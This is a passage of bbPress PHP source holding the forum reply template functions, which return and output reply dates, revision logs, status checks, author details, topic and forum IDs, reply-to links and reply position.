	echo bbp_get_reply_post_date( $reply_id, $humanize, $gmt );
}
	/**
	 * Return the post date and time of a reply
	 *
	 * @since 2.2.0 bbPress (r4155)
	 *
	 * @param int $reply_id Optional. Reply id.
	 * @param bool $humanize Optional. Humanize output using time_since
	 * @param bool $gmt Optional. Use GMT
	 * @return string
	 */
	function bbp_get_reply_post_date( $reply_id = 0, $humanize = false, $gmt = false ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// 4 days, 4 hours ago
		if ( ! empty( $humanize ) ) {
			$gmt_s  = ! empty( $gmt ) ? 'G' : 'U';
			$date   = get_post_time( $gmt_s, $gmt, $reply_id );
			$time   = false; // For filter below
			$result = bbp_get_time_since( $date );

		// August 4, 2012 at 2:37 pm
		} else {
			$date   = get_post_time( get_option( 'date_format' ), $gmt, $reply_id, true );
			$time   = get_post_time( get_option( 'time_format' ), $gmt, $reply_id, true );
			$result = sprintf( _x( '%1$s at %2$s', 'date at time', 'bbpress' ), $date, $time );
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_post_date', $result, $reply_id, $humanize, $gmt, $date, $time );
	}

/**
 * Append revisions to the reply content
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param string $content Optional. Content to which we need to append the revisions to
 * @param int $reply_id Optional. Reply id
 * @return string Content with the revisions appended
 */
function bbp_reply_content_append_revisions( $content = '', $reply_id = 0 ) {

	// Bail if in admin or feed
	if ( is_admin() || is_feed() ) {
		return $content;
	}

	// Validate the ID
	$reply_id = bbp_get_reply_id( $reply_id );

	// Filter & return
	return apply_filters( 'bbp_reply_append_revisions', $content . bbp_get_reply_revision_log( $reply_id ), $content, $reply_id );
}

/**
 * Output the revision log of the reply
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_revision_log( $reply_id = 0 ) {
	echo bbp_get_reply_revision_log( $reply_id );
}
	/**
	 * Return the formatted revision log of the reply
	 *
	 * @since 2.0.0 bbPress (r2782)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Revision log of the reply
	 */
	function bbp_get_reply_revision_log( $reply_id = 0 ) {

		// Create necessary variables
		$reply_id = bbp_get_reply_id( $reply_id );

		// Show the topic reply log if this is a topic in a reply loop
		if ( bbp_is_topic( $reply_id ) ) {
			return bbp_get_topic_revision_log( $reply_id );
		}

		// Get the reply revision log (out of post meta
		$revision_log = bbp_get_reply_raw_revision_log( $reply_id );

		// Check reply and revision log exist
		if ( empty( $reply_id ) || empty( $revision_log ) || ! is_array( $revision_log ) ) {
			return false;
		}

		// Get the actual revisions
		$revisions = bbp_get_reply_revisions( $reply_id );
		if ( empty( $revisions ) ) {
			return false;
		}

		$r = "\n\n" . '<ul id="bbp-reply-revision-log-' . esc_attr( $reply_id ) . '" class="bbp-reply-revision-log">' . "\n\n";

		// Loop through revisions
		foreach ( (array) $revisions as $revision ) {

			if ( empty( $revision_log[ $revision->ID ] ) ) {
				$author_id = $revision->post_author;
				$reason    = '';
			} else {
				$author_id = $revision_log[ $revision->ID ]['author'];
				$reason    = $revision_log[ $revision->ID ]['reason'];
			}

			$author = bbp_get_author_link( array( 'size' => 14, 'link_text' => bbp_get_reply_author_display_name( $revision->ID ), 'post_id' => $revision->ID ) );
			$since  = bbp_get_time_since( bbp_convert_date( $revision->post_modified ) );

			$r .= "\t" . '<li id="bbp-reply-revision-log-' . esc_attr( $reply_id ) . '-item-' . esc_attr( $revision->ID ) . '" class="bbp-reply-revision-log-item">' . "\n";
			if ( ! empty( $reason ) ) {
				$r .= "\t\t" . sprintf( esc_html__( 'This reply was modified %1$s by %2$s. Reason: %3$s', 'bbpress' ), esc_html( $since ), $author, esc_html( $reason ) ) . "\n";
			} else {
				$r .= "\t\t" . sprintf( esc_html__( 'This reply was modified %1$s by %2$s.', 'bbpress' ), esc_html( $since ), $author ) . "\n";
			}
			$r .= "\t" . '</li>' . "\n";

		}

		$r .= "\n" . '</ul>' . "\n\n";

		// Filter & return
		return apply_filters( 'bbp_get_reply_revision_log', $r, $reply_id );
	}
		/**
		 * Return the raw revision log of the reply
		 *
		 * @since 2.0.0 bbPress (r2782)
		 *
		 * @param int $reply_id Optional. Reply id
		 * @return string Raw revision log of the reply
		 */
		function bbp_get_reply_raw_revision_log( $reply_id = 0 ) {
			$reply_id     = bbp_get_reply_id( $reply_id );
			$revision_log = get_post_meta( $reply_id, '_bbp_revision_log', true );
			$revision_log = ! empty( $revision_log )
				? $revision_log
				: array();

			// Filter & return
			return apply_filters( 'bbp_get_reply_raw_revision_log', $revision_log, $reply_id );
		}

/**
 * Return the revisions of the reply
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param int $reply_id Optional. Reply id
 * @return string reply revisions
 */
function bbp_get_reply_revisions( $reply_id = 0 ) {
	$reply_id  = bbp_get_reply_id( $reply_id );
	$revisions = wp_get_post_revisions( $reply_id, array( 'order' => 'ASC' ) );

	// Filter & return
	return apply_filters( 'bbp_get_reply_revisions', $revisions, $reply_id );
}

/**
 * Return the revision count of the reply
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param int $reply_id Optional. Reply id
 * @param boolean $integer Optional. Whether or not to format the result
 * @return string reply revision count
 */
function bbp_get_reply_revision_count( $reply_id = 0, $integer = false ) {
	$reply_id = bbp_get_reply_id( $reply_id );
	$count    = count( bbp_get_reply_revisions( $reply_id ) );
	$filter   = ( true === $integer )
		? 'bbp_get_reply_revision_count_int'
		: 'bbp_get_reply_revision_count';

	return apply_filters( $filter, $count, $reply_id );
}

/**
 * Output the status of the reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_status( $reply_id = 0 ) {
	echo bbp_get_reply_status( $reply_id );
}
	/**
	 * Return the status of the reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Status of reply
	 */
	function bbp_get_reply_status( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_reply_status', get_post_status( $reply_id ), $reply_id );
	}

/**
 * Is the reply publicly viewable?
 *
 * See bbp_get_public_reply_statuses() for public statuses.
 *
 * @since 2.6.0 bbPress (r6391)
 *
 * @param int $reply_id Optional. Reply id
 * @return bool True if public, false if not.
 */
function bbp_is_reply_public( $reply_id = 0 ) {
	$reply_id  = bbp_get_reply_id( $reply_id );
	$status    = bbp_get_reply_status( $reply_id );
	$public    = bbp_get_public_reply_statuses();
	$is_public = in_array( $status, $public, true );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_public', $is_public, $reply_id );
}

/**
 * Is the reply not spam or deleted?
 *
 * @since 2.0.0 bbPress (r3496)
 * @since 2.6.0 bbPress (r6922) Returns false if topic is also not published
 *
 * @param int $reply_id Optional. Topic id
 * @return bool True if published, false if not.
 */
function bbp_is_reply_published( $reply_id = 0 ) {
	$reply_id     = bbp_get_reply_id( $reply_id );
	$topic_id     = bbp_get_reply_topic_id( $reply_id );
	$status       = bbp_get_public_status_id();
	$topic_status = bbp_is_topic_published( $topic_id );
	$reply_status = ( bbp_get_reply_status( $reply_id ) === $status );
	$retval       = ( $reply_status && $topic_status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_published', (bool) $retval, $reply_id );
}

/**
 * Is the reply marked as spam?
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $reply_id Optional. Reply id
 * @return bool True if spam, false if not.
 */
function bbp_is_reply_spam( $reply_id = 0 ) {
	$reply_id     = bbp_get_reply_id( $reply_id );
	$status       = bbp_get_spam_status_id();
	$reply_status = bbp_get_reply_status( $reply_id ) === $status;

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_spam', (bool) $reply_status, $reply_id );
}

/**
 * Is the reply trashed?
 *
 * @since 2.0.0 bbPress (r2884)
 *
 * @param int $reply_id Optional. Topic id
 * @return bool True if spam, false if not.
 */
function bbp_is_reply_trash( $reply_id = 0 ) {
	$reply_id     = bbp_get_reply_id( $reply_id );
	$status       = bbp_get_trash_status_id();
	$reply_status = bbp_get_reply_status( $reply_id ) === $status;

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_trash', (bool) $reply_status, $reply_id );
}

/**
 * Is the reply pending?
 *
 * @since 2.6.0 bbPress (r5507)
 *
 * @param int $reply_id Optional. Topic id
 * @return bool True if pending, false if not.
 */
function bbp_is_reply_pending( $reply_id = 0 ) {
	$reply_id     = bbp_get_reply_id( $reply_id );
	$status       = bbp_get_pending_status_id();
	$reply_status = bbp_get_reply_status( $reply_id ) === $status;

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_pending', (bool) $reply_status, $reply_id );
}

/**
 * Is the reply private?
 *
 * @since 2.6.0 bbPress (r5507)
 *
 * @param int $reply_id Optional. Topic id
 * @return bool True if private, false if not.
 */
function bbp_is_reply_private( $reply_id = 0 ) {
	$reply_id     = bbp_get_reply_id( $reply_id );
	$status       = bbp_get_private_status_id();
	$reply_status = bbp_get_reply_status( $reply_id ) === $status;

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_private', (bool) $reply_status, $reply_id );
}

/**
 * Is the reply by an anonymous user?
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @param int $reply_id Optional. Reply id
 * @return bool True if the post is by an anonymous user, false if not.
 */
function bbp_is_reply_anonymous( $reply_id = 0 ) {
	$reply_id = bbp_get_reply_id( $reply_id );
	$retval   = false;

	if ( ! bbp_get_reply_author_id( $reply_id ) ) {
		$retval = true;

	} elseif ( get_post_meta( $reply_id, '_bbp_anonymous_name', true ) ) {
		$retval = true;

	} elseif ( get_post_meta( $reply_id, '_bbp_anonymous_email', true ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_anonymous', $retval, $reply_id );
}

/**
 * Deprecated. Use bbp_reply_author_display_name() instead.
 *
 * Output the author of the reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @deprecated 2.5.0 bbPress (r5119)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_author( $reply_id = 0 ) {
	echo bbp_get_reply_author( $reply_id );
}
	/**
	 * Deprecated. Use bbp_get_reply_author_display_name() instead.
	 *
	 * Return the author of the reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @deprecated 2.5.0 bbPress (r5119)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Author of reply
	 */
	function bbp_get_reply_author( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		if ( ! bbp_is_reply_anonymous( $reply_id ) ) {
			$author = get_the_author_meta( 'display_name', bbp_get_reply_author_id( $reply_id ) );
		} else {
			$author = get_post_meta( $reply_id, '_bbp_anonymous_name', true );
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author', $author, $reply_id );
	}

/**
 * Output the author ID of the reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_author_id( $reply_id = 0 ) {
	echo bbp_get_reply_author_id( $reply_id );
}
	/**
	 * Return the author ID of the reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Author id of reply
	 */
	function bbp_get_reply_author_id( $reply_id = 0 ) {
		$reply_id  = bbp_get_reply_id( $reply_id );
		$author_id = get_post_field( 'post_author', $reply_id );

		// Filter & return
		return (int) apply_filters( 'bbp_get_reply_author_id', $author_id, $reply_id );
	}

/**
 * Output the author display_name of the reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_author_display_name( $reply_id = 0 ) {
	echo bbp_get_reply_author_display_name( $reply_id );
}
	/**
	 * Return the author display_name of the reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string The display name of the author of the reply
	 */
	function bbp_get_reply_author_display_name( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// User is not a guest
		if ( ! bbp_is_reply_anonymous( $reply_id ) ) {

			// Get the author ID
			$author_id = bbp_get_reply_author_id( $reply_id );

			// Try to get a display name
			$author_name = get_the_author_meta( 'display_name', $author_id );

			// Fall back to user login
			if ( empty( $author_name ) ) {
				$author_name = get_the_author_meta( 'user_login', $author_id );
			}

		// User does not have an account
		} else {
			$author_name = get_post_meta( $reply_id, '_bbp_anonymous_name', true );
		}

		// Fallback if nothing could be found
		if ( empty( $author_name ) ) {
			$author_name = bbp_get_fallback_display_name( $reply_id );
		}

		// Encode possible UTF8 display names
		if ( seems_utf8( $author_name ) === false ) {
			$author_name = utf8_encode( $author_name );
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author_display_name', $author_name, $reply_id );
	}

/**
 * Output the author avatar of the reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $reply_id Optional. Reply id
 * @param int $size Optional. Size of the avatar. Defaults to 40
 */
function bbp_reply_author_avatar( $reply_id = 0, $size = 40 ) {
	echo bbp_get_reply_author_avatar( $reply_id, $size );
}
	/**
	 * Return the author avatar of the reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @param int $size Optional. Size of the avatar. Defaults to 40
	 * @return string Avatar of author of the reply
	 */
	function bbp_get_reply_author_avatar( $reply_id = 0, $size = 40 ) {
		$reply_id = bbp_get_reply_id( $reply_id );
		if ( ! empty( $reply_id ) ) {
			// Check for anonymous user
			if ( ! bbp_is_reply_anonymous( $reply_id ) ) {
				$author_avatar = get_avatar( bbp_get_reply_author_id( $reply_id ), $size );
			} else {
				$author_avatar = get_avatar( get_post_meta( $reply_id, '_bbp_anonymous_email', true ), $size );
			}
		} else {
			$author_avatar = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author_avatar', $author_avatar, $reply_id, $size );
	}

/**
 * Output the author link of the reply
 *
 * @since 2.0.0 bbPress (r2717)
 *
 * @param array $args Optional. If it is an integer, it is used as reply id.
 */
function bbp_reply_author_link( $args = array() ) {
	echo bbp_get_reply_author_link( $args );
}
	/**
	 * Return the author link of the reply
	 *
	 * @since 2.0.0 bbPress (r2717)
	 *
	 * @param array $args Optional. If an integer, it is used as reply id.
	 * @return string Author link of reply
	 */
	function bbp_get_reply_author_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'post_id'    => 0,
			'link_title' => '',
			'type'       => 'both',
			'size'       => 80,
			'sep'        => '',
			'show_role'  => false
		), 'get_reply_author_link' );

		// Default return value
		$author_link = '';

		// Used as reply_id
		$reply_id = is_numeric( $args )
			? bbp_get_reply_id( $args )
			: bbp_get_reply_id( $r['post_id'] );

		// Reply ID is good
		if ( ! empty( $reply_id ) ) {

			// Get some useful reply information
			$author_url = bbp_get_reply_author_url( $reply_id );
			$anonymous  = bbp_is_reply_anonymous( $reply_id );

			// Tweak link title if empty
			if ( empty( $r['link_title'] ) ) {
				$author = bbp_get_reply_author_display_name( $reply_id );
				$title  = empty( $anonymous )
					? esc_attr__( "View %s's profile",  'bbpress' )
					: esc_attr__( "Visit %s's website", 'bbpress' );

				$link_title = sprintf( $title, $author );

			// Use what was passed if not
			} else {
				$link_title = $r['link_title'];
			}

			// Setup title and author_links array
			$author_links = array();
			$link_title   = ! empty( $link_title )
				? ' title="' . esc_attr( $link_title ) . '"'
				: '';

			// Get avatar (unescaped, because HTML)
			if ( ( 'avatar' === $r['type'] ) || ( 'both' === $r['type'] ) ) {
				$author_links['avatar'] = bbp_get_reply_author_avatar( $reply_id, $r['size'] );
			}

			// Get display name (escaped, because never HTML)
			if ( ( 'name' === $r['type'] ) || ( 'both' === $r['type'] ) ) {
				$author_links['name'] = esc_html( bbp_get_reply_author_display_name( $reply_id ) );
			}

			// Empty array
			$links  = array();
			$sprint = '<span %1$s>%2$s</span>';

			// Wrap each link
			foreach ( $author_links as $link => $link_text ) {
				$link_class = ' class="bbp-author-' . esc_attr( $link ) . '"';
				$links[]    = sprintf( $sprint, $link_class, $link_text );
			}

			// Juggle
			$author_links = $links;
			unset( $links );

			// Filter sections
			$sections    = apply_filters( 'bbp_get_reply_author_links', $author_links, $r, $args );

			// Assemble sections into author link
			$author_link = implode( $r['sep'], $sections );

			// Only wrap in link if profile exists
			if ( empty( $anonymous ) && bbp_user_has_profile( bbp_get_reply_author_id( $reply_id ) ) ) {
				$author_link = sprintf( '<a href="%1$s"%2$s%3$s>%4$s</a>', esc_url( $author_url ), $link_title, ' class="bbp-author-link"', $author_link );
			}

			// Role is not linked
			if ( true === $r['show_role'] ) {
				$author_link .= bbp_get_reply_author_role( array( 'reply_id' => $reply_id ) );
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author_link', $author_link, $r, $args );
	}

/**
 * Output the author url of the reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_author_url( $reply_id = 0 ) {
	echo esc_url( bbp_get_reply_author_url( $reply_id ) );
}
	/**
	 * Return the author url of the reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Author URL of the reply
	 */
	function bbp_get_reply_author_url( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// Check for anonymous user or non-existant user
		if ( ! bbp_is_reply_anonymous( $reply_id ) && bbp_user_has_profile( bbp_get_reply_author_id( $reply_id ) ) ) {
			$author_url = bbp_get_user_profile_url( bbp_get_reply_author_id( $reply_id ) );
		} else {
			$author_url = get_post_meta( $reply_id, '_bbp_anonymous_website', true );
			if ( empty( $author_url ) ) {
				$author_url = '';
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author_url', $author_url, $reply_id );
	}

/**
 * Output the reply author email address
 *
 * @since 2.0.0 bbPress (r3445)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_author_email( $reply_id = 0 ) {
	echo bbp_get_reply_author_email( $reply_id );
}
	/**
	 * Return the reply author email address
	 *
	 * @since 2.0.0 bbPress (r3445)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Reply author email address
	 */
	function bbp_get_reply_author_email( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// Not anonymous
		if ( ! bbp_is_reply_anonymous( $reply_id ) ) {

			// Use reply author email address
			$user_id      = bbp_get_reply_author_id( $reply_id );
			$user         = get_userdata( $user_id );
			$author_email = ! empty( $user->user_email ) ? $user->user_email : '';

		// Anonymous
		} else {

			// Get email from post meta
			$author_email = get_post_meta( $reply_id, '_bbp_anonymous_email', true );

			// Sanity check for missing email address
			if ( empty( $author_email ) ) {
				$author_email = '';
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author_email', $author_email, $reply_id );
	}

/**
 * Output the reply author role
 *
 * @since 2.1.0 bbPress (r3860)
 *
 * @param array $args Optional.
 */
function bbp_reply_author_role( $args = array() ) {
	echo bbp_get_reply_author_role( $args );
}
	/**
	 * Return the reply author role
	 *
	 * @since 2.1.0 bbPress (r3860)
	 *
	 * @param array $args Optional.
	 * @return string Reply author role
	 */
	function bbp_get_reply_author_role( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'reply_id' => 0,
			'class'    => false,
			'before'   => '<div class="bbp-author-role">',
			'after'    => '</div>'
		), 'get_reply_author_role' );

		$reply_id    = bbp_get_reply_id( $r['reply_id'] );
		$role        = bbp_get_user_display_role( bbp_get_reply_author_id( $reply_id ) );

		// Backwards compatibilty with old 'class' argument
		if ( ! empty( $r['class'] ) ) {
			$author_role = sprintf( '%1$s<div class="%2$s">%3$s</div>%4$s', $r['before'], esc_attr( $r['class'] ), esc_html( $role ), $r['after'] );

		// Simpler before & after arguments
		// https://bbpress.trac.wordpress.org/ticket/2557
		} else {
			$author_role = $r['before'] . $role . $r['after'];
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_author_role', $author_role, $r, $args );
	}

/**
 * Output the topic title a reply belongs to
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_topic_title( $reply_id = 0 ) {
	echo bbp_get_reply_topic_title( $reply_id );
}
	/**
	 * Return the topic title a reply belongs to
	 *
	 * @since 2.0.0 bbPress (r2553)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string The topic title of the reply
	 */
	function bbp_get_reply_topic_title( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_reply_topic_title', bbp_get_topic_title( $topic_id ), $reply_id );
	}

/**
 * Output the topic id a reply belongs to
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_topic_id( $reply_id = 0 ) {
	echo bbp_get_reply_topic_id( $reply_id );
}
	/**
	 * Return the topic id a reply belongs to
	 *
	 * @since 2.0.0 bbPress (r2553)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return int The topic id of the reply
	 */
	function bbp_get_reply_topic_id( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = (int) get_post_field( 'post_parent', $reply_id );

		// Meta-data fallback
		if ( empty( $topic_id ) ) {
			$topic_id = (int) get_post_meta( $reply_id, '_bbp_topic_id', true );
		}

		// Filter
		if ( ! empty( $topic_id ) ) {
			$topic_id = (int) bbp_get_topic_id( $topic_id );
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_reply_topic_id', $topic_id, $reply_id );
	}

/**
 * Output the forum id a reply belongs to
 *
 * @since 2.0.0 bbPress (r2679)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_forum_id( $reply_id = 0 ) {
	echo bbp_get_reply_forum_id( $reply_id );
}
	/**
	 * Return the forum id a reply belongs to
	 *
	 * @since 2.0.0 bbPress (r2679)
	 *
	 * @param int $reply_id Optional. Reply id
	 *                        id and reply id
	 * @return int The forum id of the reply
	 */
	function bbp_get_reply_forum_id( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = bbp_get_reply_topic_id( $reply_id );
		$forum_id = (int) get_post_field( 'post_parent', $topic_id );

		// Meta-data fallback
		if ( empty( $forum_id ) ) {
			$forum_id = (int) get_post_meta( $reply_id, '_bbp_forum_id', true );
		}

		// Filter
		if ( ! empty( $forum_id ) ) {
			$forum_id = (int) bbp_get_forum_id( $forum_id );
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_reply_forum_id', $forum_id, $reply_id );
	}

/**
 * Output the ancestor reply id of a reply
 *
 * @since 2.4.0 bbPress (r4944)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_ancestor_id( $reply_id = 0 ) {
	echo bbp_get_reply_ancestor_id( $reply_id );
}
	/**
	 * Return the ancestor reply id of a reply
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @param in $reply_id Reply id
	 */
	function bbp_get_reply_ancestor_id( $reply_id = 0 ) {

		// Validation
		$reply_id = bbp_get_reply_id( $reply_id );
		if ( empty( $reply_id ) ) {
			return false;
		}

		// Find highest reply ancestor
		$ancestor_id = $reply_id;
		while ( $parent_id = bbp_get_reply_to( $ancestor_id ) ) {
			if ( empty( $parent_id ) || ( $parent_id === $ancestor_id ) || ( bbp_get_reply_topic_id( $reply_id ) === $parent_id ) || ( $parent_id === $reply_id ) ) {
				break;
			}
			$ancestor_id = $parent_id;
		}

		return (int) $ancestor_id;
	}

/**
 * Output the reply to id of a reply
 *
 * @since 2.4.0 bbPress (r4944)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_to( $reply_id = 0 ) {
	echo bbp_get_reply_to( $reply_id );
}
	/**
	 * Return the reply to id of a reply
	 *
 	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return int The parent reply id of the reply
	 */
	function bbp_get_reply_to( $reply_id = 0 ) {

		// Assume there is no reply_to set
		$reply_to = 0;

		// Check that reply_id is valid
		$reply_id = bbp_get_reply_id( $reply_id );

		// Get reply_to value
		if ( ! empty( $reply_id ) ) {
			$reply_to = (int) get_post_meta( $reply_id, '_bbp_reply_to', true );
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_reply_to', $reply_to, $reply_id );
	}

/**
 * Output the link for the reply to
 *
 * @since 2.4.0 bbPress (r4944)
 *
 * @param array $args
 */
function bbp_reply_to_link( $args = array() ) {
	echo bbp_get_reply_to_link( $args );
}

	/**
	 * Return the link for a reply to a reply
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @param array $args Arguments
	 * @return string Link for a reply to a reply
	 */
	function bbp_get_reply_to_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'reply_text'   => esc_html_x( 'Reply', 'verb', 'bbpress' ),
			'depth'        => 0,
			'add_below'    => 'post',
			'respond_id'   => 'new-reply-' . bbp_get_topic_id(),
		), 'get_reply_to_link' );

		// Get the reply to use it's ID and post_parent
		$reply    = bbp_get_reply( $r['id'] );
		$topic_id = bbp_get_reply_topic_id( $reply->ID );

		// Bail if no reply or user cannot reply
		if ( empty( $reply ) || empty( $topic_id ) || bbp_is_single_reply() || ! bbp_current_user_can_access_create_reply_form() ) {
			return;
		}

		// Build the URI and return value
		$uri = remove_query_arg( array( 'bbp_reply_to' ) );
		$uri = add_query_arg( array( 'bbp_reply_to' => $reply->ID ) );
		$uri = wp_nonce_url( $uri, 'respond_id_' . $reply->ID );
		$uri = $uri . '#new-post';

		// Only add onclick if replies are threaded
		if ( bbp_thread_replies() ) {

			// Array of classes to pass to moveForm
			$move_form = array(
				$r['add_below'] . '-' . $reply->ID,
				$reply->ID,
				$r['respond_id'],
				$reply->post_parent
			);

			// Build the onclick
			$onclick  = ' onclick="return addReply.moveForm(\'' . implode( "','", $move_form ) . '\');"';

		// No onclick if replies are not threaded
		} else {
			$onclick  = '';
		}

		// Add $uri to the array, to be passed through the filter
		$r['uri'] = $uri;
		$retval   = $r['link_before'] . '<a role="button" href="' . esc_url( $r['uri'] ) . '" class="bbp-reply-to-link"' . $onclick . '>' . $r['reply_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_to_link', $retval, $r, $args );
	}

/**
 * Output the reply to a reply cancellation link
 *
 * @since 2.4.0 bbPress (r4944)
 */
function bbp_cancel_reply_to_link( $text = '' ) {
	echo bbp_get_cancel_reply_to_link( $text );
}
	/**
	 * Return the cancellation link for a reply to a reply
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @param string $text The cancel text
	 * @return string The cancellation link
	 */
	function bbp_get_cancel_reply_to_link( $text = '' ) {

		// Bail if not hierarchical or editing a reply
		if ( ! bbp_thread_replies() || bbp_is_reply_edit() ) {
			return;
		}

		// Set default text
		if ( empty( $text ) ) {
			$text = esc_html__( 'Cancel', 'bbpress' );
		}

		// Replying to...
		$reply_to = isset( $_GET['bbp_reply_to'] )
			? (int) $_GET['bbp_reply_to']
			: 0;

		// Set visibility
		$style  = ! empty( $reply_to ) ? '' : ' style="display:none;"';
		$link   = remove_query_arg( array( 'bbp_reply_to', '_wpnonce' ) ) . "#post-{$reply_to}";
		$retval = sprintf( '<a href="%1$s" id="bbp-cancel-reply-to-link"%2$s>%3$s</a>', esc_url( $link ), $style, esc_html( $text ) );

		// Filter & return
		return apply_filters( 'bbp_get_cancel_reply_to_link', $retval, $link, $text );
	}

/**
 * Output the numeric position of a reply within a topic
 *
 * @since 2.0.0 bbPress (r2984)
 *
 * @param int $reply_id Optional. Reply id
 * @param int $topic_id Optional. Topic id
 */
function bbp_reply_position( $reply_id = 0, $topic_id = 0 ) {
	echo bbp_get_reply_position( $reply_id, $topic_id );
}
	/**
	 * Return the numeric position of a reply within a topic
	 *
	 * @since 2.0.0 bbPress (r2984)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @param int $topic_id Optional. Topic id
	 * @return int Reply position
	 */
	function bbp_get_reply_position( $reply_id = 0, $topic_id = 0 ) {

		// Get required data
		$reply_id       = bbp_get_reply_id( $reply_id );
		$reply_position = get_post_field( 'menu_order', $reply_id );

		// Reply doesn't have a position so get the raw value
		if ( empty( $reply_position ) ) {

			// Get topic ID
			$topic_id = ! empty( $topic_id )
				? bbp_get_topic_id( $topic_id )
				: bbp_get_reply_topic_id( $reply_id );

			// Post is not the topic
			if ( $reply_id !== $topic_id ) {
				$reply_position = bbp_get_reply_position_raw( $reply_id, $topic_id );

				// Update the reply position in the posts table so we'll never have
				// to hit the DB again.
				if ( ! empty( $reply_position ) ) {
					bbp_update_reply_position( $reply_id, $reply_position );
				}

			// Topic's position is always 0
			} else {
				$reply_position = 0;
			}
		}

		// Bump the position by one if the topic is included in the reply loop
		if ( ! bbp_show_lead_topic() ) {
			$reply_position++;
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_reply_position', $reply_position, $reply_id, $topic_id );
	}

/** Reply Admin Links *********************************************************/

/**
 * Output admin links for reply
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param array $args See {@link bbp_get_reply_admin_links()}
 */
function bbp_reply_admin_links( $args = array() ) {
	echo bbp_get_reply_admin_links( $args );
}
	/**
	 * Return admin links for reply
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Optional. Reply id
	 *  - before: HTML before the links. Defaults to
	 *             '<span class="bbp-admin-links">'
	 *  - after: HTML after the links. Defaults to '</span>'
